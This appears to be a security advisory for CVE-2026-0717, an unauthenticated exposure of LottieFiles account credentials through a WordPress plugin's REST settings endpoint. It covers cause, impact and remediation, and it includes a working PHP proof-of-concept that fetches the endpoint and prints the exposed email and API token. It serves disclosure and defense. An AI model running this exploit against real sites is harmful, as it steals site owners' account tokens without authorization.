Atomic Edge analysis of CVE-2026-0717 (metadata-based):
This vulnerability is an unauthenticated sensitive information exposure in the LottieFiles – Lottie block for Gutenberg WordPress plugin. The flaw exists in the plugin’s REST API endpoint, allowing attackers to retrieve the site owner’s LottieFiles.com account credentials when a specific plugin configuration option is enabled. The CVSS score of 5.3 reflects a moderate impact confidentiality breach with no integrity or availability effects.
Atomic Edge research identifies the root cause as improper access control on the `/wp-json/lottiefiles/v1/settings/` REST API endpoint. The CWE-200 classification confirms sensitive data exposure to unauthorized actors. The vulnerability description explicitly states the endpoint lacks authentication checks. This conclusion is directly confirmed by the description, not inferred. The plugin likely registers this REST route without implementing proper permission_callback validation or capability checks. The exposure only occurs when the ‘Share LottieFiles account with other WordPress users’ option is active, indicating the plugin stores credentials in a retrievable format when this setting is enabled.
Exploitation requires a single HTTP GET request to the publicly accessible REST API endpoint. Attackers send `GET /wp-json/lottiefiles/v1/settings/` to any vulnerable WordPress installation. No authentication, special headers, or request parameters are needed. The server responds with a JSON object containing the site owner’s LottieFiles.com email address and API access token. This attack vector has network-level access requirements but no complexity barriers, making it trivial to automate across multiple targets.
Remediation requires implementing proper authentication and authorization checks on the REST API endpoint. The patched version 3.1.0 likely adds a permission_callback function to the route registration that verifies user capabilities. The fix should validate the current user has appropriate permissions, such as `manage_options` or a custom plugin capability, before returning sensitive settings data. The plugin should also consider encrypting stored credentials rather than storing them in plaintext, though the description does not confirm the storage method.
The impact is limited to confidentiality loss of the site owner’s LottieFiles.com account credentials. Exposed API tokens could allow attackers to access the victim’s LottieFiles account, potentially modifying or deleting stored Lottie animations. Compromised email addresses increase phishing and credential stuffing attack surfaces. No direct privilege escalation within WordPress occurs, and no system compromise or code execution results from this vulnerability alone. The exposed credentials are specific to the third-party LottieFiles service.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0717 - LottieFiles – Lottie block for Gutenberg <= 3.0.0 - Unauthenticated Sensitive Information Exposure
<?php
$target_url = 'http://vulnerable-wordpress-site.com'; // Change this to the target site
// Construct the vulnerable REST API endpoint
$endpoint = rtrim($target_url, '/') . '/wp-json/lottiefiles/v1/settings/';
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
// Set headers to mimic a normal browser request
$headers = [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept: application/json',
'Accept-Language: en-US,en;q=0.9'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo "cURL Error: " . curl_error($ch) . "n";
curl_close($ch);
exit(1);
}
curl_close($ch);
// Analyze the response
if ($http_code === 200) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && is_array($data)) {
echo "[+] Vulnerable endpoint accessed successfully.n";
echo "[+] HTTP Status: $http_codenn";
// Display potentially exposed credentials
echo "Exposed LottieFiles Settings:n";
echo "============================n";
foreach ($data as $key => $value) {
if (is_array($value) || is_object($value)) {
echo "$key: " . json_encode($value) . "n";
} else {
echo "$key: $valuen";
}
}
// Check for specific credential fields mentioned in the description
$sensitive_fields = ['email', 'api_token', 'api_key', 'token', 'access_token', 'account'];
$found_sensitive = false;
foreach ($sensitive_fields as $field) {
if (isset($data[$field]) && !empty($data[$field])) {
echo "n[!] WARNING: Found potentially sensitive field '$field'n";
$found_sensitive = true;
}
}
if ($found_sensitive) {
echo "n[!] CREDENTIALS EXPOSED: Site owner's LottieFiles account may be compromised.n";
}
} else {
echo "[-] Received non-JSON response or invalid JSON.n";
echo "Response: $responsen";
}
} else {
echo "[-] Endpoint returned HTTP $http_code (may be patched or inaccessible)n";
echo "Response: $responsen";
}
?>
